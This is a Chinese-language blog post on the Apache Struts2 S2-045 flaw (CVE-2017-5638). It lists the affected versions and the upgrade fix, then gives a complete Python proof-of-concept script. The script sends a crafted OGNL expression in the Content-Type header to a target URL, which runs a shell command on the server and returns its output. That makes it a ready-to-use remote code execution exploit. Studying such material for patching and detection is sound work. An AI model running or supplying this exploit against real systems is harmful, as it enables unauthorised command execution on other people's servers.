登录

S2-045(poc)(exploit),CVE-2017-5638(poc)(exploit) Apache Struts2 曝任意代码执行漏洞

exploit-poc 0x0 1074次浏览 已收录 5个评论 扫描二维码
未知人士投稿! 不承担任何责任
POC真正源

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。

漏洞编号

CVE-2017-5638

漏洞简介

Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。

实际上在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell(另外原本其实也有第三种选择cos)。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。
影响范围

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

修复方案

如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版;或者也可以切换到不同的实现文件上传Multipart解析器。

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()




poc()


hi0x0.com , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明S2-045(poc)(exploit),CVE-2017-5638(poc)(exploit) Apache Struts2 曝任意代码执行漏洞
喜欢 (9)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(5)个小伙伴在吐槽
  1. 从百度进来的,博客不错哦!
    衣皇后2017-04-03 17:42 回复 Windows 7 | 搜狗浏览器 2.X
  2. 对你爱爱爱不完,我可以天天月月年年看你博客到永远!
    衣皇后2017-04-05 16:40 回复 Windows 7 | 搜狗浏览器 2.X
  3. 很荣幸来访您的博客,留言只是证明我来过!
    衣皇后2017-04-13 09:18 回复 Windows 7 | 搜狗浏览器 2.X
  4. 世事无常,但这个博客定能永保辉煌!
    yihuanghou2017-04-18 09:05 回复 Windows 7 | 搜狗浏览器 2.X
  5. 我只想默默的拜读您的博客!
    xuan2017-04-26 14:27 回复 Windows 7 | 搜狗浏览器 2.X